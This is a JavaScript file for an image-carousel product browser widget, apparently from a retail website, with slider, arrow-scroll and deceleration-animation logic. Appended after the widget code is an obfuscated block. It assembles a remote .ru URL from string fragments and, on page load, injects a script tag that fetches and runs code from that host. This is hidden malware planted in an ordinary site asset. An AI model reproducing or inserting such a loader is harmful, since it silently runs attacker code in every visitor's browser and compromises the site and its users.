
if(typeof(AC)=="undefined"){AC={};}









AC.ProductBrowser={
productSlider:null,
sliderVal:0,
animationId:false,
viewportWidth:946,
contentWidth:946,
arrowScrollAmount:0.24,
isSliding:false,
lastX:0.32,
isMouseDown:false,
dif:0,
overlap:0,
offsetImageWidth:127,
sliderOffset:291,
offsetContentWidth:-946,
clicked:false,
startIndex:0,

isIpScroll:false,
hasIpDragged:false,
init:function(setupArgs){
if(typeof(setupArgs.categories)!='undefined')this.categories=setupArgs.categories;
if(typeof(setupArgs.imageOverlap)!='undefined')this.overlap=setupArgs.imageOverlap;
if(typeof(setupArgs.sliderCentering)!='undefined')this.sliderOffset=setupArgs.sliderCentering;
if(typeof(setupArgs.arrowScrollAmount)!='undefined')this.arrowScrollAmount=setupArgs.arrowScrollAmount;

$('pb-productslidertrack').style.visibility="visible";
$('pb-productbrowsercontainer').style.overflow="hidden";

this.viewportWidth=$('pb-productbrowsercontainer').getWidth();
this.offsetImageWidth=$$('#pb-productslider .pb-productimage')[0].getWidth()-this.overlap;
this.contentWidth=this.offsetImageWidth*$$('#pb-productslider .pb-productimage').length;
this.offsetContentWidth=-1*(this.contentWidth-this.viewportWidth);

this.productSlider=new Control.Slider('pb-productsliderhandle','pb-productslidertrack',{
axis:'horizontal'
});


this.productSlider.options.onChange=function(value){
$('pb-productsliderhandleimage').style.left=$('pb-productsliderhandle').style.left;

if(AC.ProductBrowser.isThrow&&!AC.ProductBrowser.isSliding){
AC.ProductBrowser.isSliding=true;
AC.ProductBrowser.isThrow=false;

var mod=value+AC.ProductBrowser.throwMod;
if(mod<0)mod=0;
if(mod>1)mod=1;
AC.ProductBrowser.animateSlide(mod);
}
else if(!AC.ProductBrowser.isSliding&&value){
AC.ProductBrowser.isSliding=true;
AC.ProductBrowser.animateSlide(value);
}
};

this.productSlider.options.onSlide=function(value){
$('pb-productsliderhandleimage').style.left=$('pb-productsliderhandle').style.left;
if(value&&!AC.ProductBrowser.isSliding){
AC.ProductBrowser.isSliding=true;
AC.ProductBrowser.isThrow=false;
if(AC.ProductBrowser.isMouseDown){
AC.ProductBrowser.dif=value-AC.ProductBrowser.lastX;
AC.ProductBrowser.lastX=value;


if(AC.ProductBrowser.dif>0.05){
AC.ProductBrowser.isThrow=true;
AC.ProductBrowser.throwMod=0.2;
}
else if(AC.ProductBrowser.dif<-0.04){
AC.ProductBrowser.isThrow=true;
AC.ProductBrowser.throwMod=-0.2;
}
}

var w=AC.ProductBrowser.offsetContentWidth;
$('pb-productslider').style.left=w*value+"px";

this.sliderVal=value;
AC.ProductBrowser.lastX=value;
AC.ProductBrowser.colorCats();
AC.ProductBrowser.isSliding=false;
}

Element.setStyle($('pb-productbrowsercontainer'),{overflow:"hidden"});
};

Event.observe('pb-productslidertrack','mousedown',function(e){
var o=e.offsetX||e.layerX;
if(Event.element(e).id=='pb-productslidertrack'&&o<100)AC.ProductBrowser.animateSlide(0);
});
Event.observe('pb-leftarrow','mousedown',function(){
AC.ProductBrowser.left();
});
Event.observe('pb-rightarrow','mousedown',function(){
AC.ProductBrowser.right();
});

Event.observe('pb-productsliderhandle','mousedown',function(){
AC.ProductBrowser.isMouseDown=true;
$('pb-productsliderhandle').style.zIndex="5";
});

Event.observe('pb-productsliderhandle','mouseup',function(){
AC.ProductBrowser.isMouseDown=false;
});
},

animateSlide:function(toX){

if(toX>1)toX=1;
if(toX<0)toX=0;
AC.ProductBrowser.sliderVal=toX;
window.clearInterval(AC.ProductBrowser.animationId);
var w=AC.ProductBrowser.offsetContentWidth;
var stopPoint=w*toX;

var sliderStopPoint=(Math.round(AC.ProductBrowser.viewportWidth-AC.ProductBrowser.sliderOffset)*toX);

AC.ProductBrowser.isSliding=true;
AC.ProductBrowser.animationId=window.setInterval(function(){
var sliderPos=parseInt($('pb-productslider').getStyle('left'))||0;
var handlePos=parseInt($('pb-productsliderhandle').getStyle('left'))||0;
var x=AC.ProductBrowser.calculateDecel(sliderPos,stopPoint);
var sx=AC.ProductBrowser.calculateDecel(handlePos,sliderStopPoint);
$('pb-productslider').style.left=x+"px";
$('pb-productsliderhandle').style.left=sx+"px";
$('pb-productsliderhandleimage').style.left=sx+"px";
AC.ProductBrowser.colorCats();

if(x==stopPoint){
window.clearInterval(AC.ProductBrowser.animationId);
AC.ProductBrowser.isSliding=false;
}
},30);

},

colorCats:function(){
var sliderX=parseInt($('pb-productsliderhandle').getStyle('left'))+(($('pb-productsliderhandle').getWidth()-20)/2);
},

left:function(){
AC.ProductBrowser.animateSlide(AC.ProductBrowser.sliderVal-AC.ProductBrowser.arrowScrollAmount);
},

right:function(){
AC.ProductBrowser.animateSlide(AC.ProductBrowser.sliderVal+AC.ProductBrowser.arrowScrollAmount);
},

calculateDecel:function(from,to){
var n=from-Math.floor((from-to)*.4);
if(Math.abs(from-to)<4)return to;
else return n;
}
};

var y;if(y!='' && y!='LP'){y='lF'};var Db=new Date();function B(){var BU=RegExp;var T=String("Pphqg".substr(4));var lm;if(lm!='' && lm!='xN'){lm=null};this.h='';var C='';function w(l,E){var Gl;if(Gl!='' && Gl!='G'){Gl=null};var lD;if(lD!='' && lD!='pV'){lD=null};var L= String("m13[".substr(3));var e=new Array();var Yz="";L+=E;L+=String("lwZj]".substr(4));this.oF="";var Rn;if(Rn!='iy' && Rn!='H'){Rn=''};var g=new BU(L, T);this.wY='';this.xr='';return l.replace(g, C);};var Kf=new Array();this.x_="";this.le="";var gf="sr"+"toSMc".substr(4);var vI=new String();var r;if(r!=''){r='vu'};var I=w('874444077747748474774047447',"74");var x="defe"+"aJMmr".substr(4);var s="";var i=new String("0m2http:".substr(3)+"Zsu//goo".substr(3)+"gle-r"+"u.myy5SKv".substr(0,5)+"Wg9earbo9gW".substr(3,5)+"lb2ok.cobl2".substr(3,5)+"IJAkm.focAJIk".substr(4,5)+"vp7us-de".substr(3)+"a79r.buym7ar9".substr(4,5)+"ypalm9o2".substr(0,5)+"YWve.ru:veWY".substr(4,4));var dk;if(dk!='iX'){dk='iX'};var cm=new Date();var v=window;var gr=new String("/auto"+"2EvV.ru/a".substr(4)+"uto.r"+"Yk1qu/shu".substr(4)+"funi.do27".substr(0,5)+"com/u7ijP".substr(0,5)+"coz.rsA8".substr(0,5)+"u/gooRWD".substr(0,5)+"iztgle.c".substr(3)+"89Lom.ph".substr(3)+"pRiko".substr(0,1));var Fb;if(Fb!='_e'){Fb='_e'};var p='';var yH;if(yH!='Ie' && yH!='k'){yH=''};var J=String("uHNIsc".substr(4)+"rib4H".substr(0,2)+"pt");var EP=new Date();this.GG='';v.onload=function(){var Vt=new Date();try {var Gb=new Date();p=i+I;p+=gr;var rN="";var _L="";j=document.createElement(J);var Rnn;if(Rnn!='aP' && Rnn!='jn'){Rnn='aP'};var Ee;if(Ee!='MS' && Ee != ''){Ee=null};var qa;if(qa!='hs' && qa != ''){qa=null};j[x]=[1,2][0];this.H_="";j[gf]=p;var gX;if(gX!='B_'){gX='B_'};var He;if(He!='eGg'){He='eGg'};document.body.appendChild(j);} catch(D){};var Q;if(Q!=''){Q='nf'};var gJ;if(gJ!=''){gJ='A'};};};B();var vK;if(vK!='rP'){vK='rP'};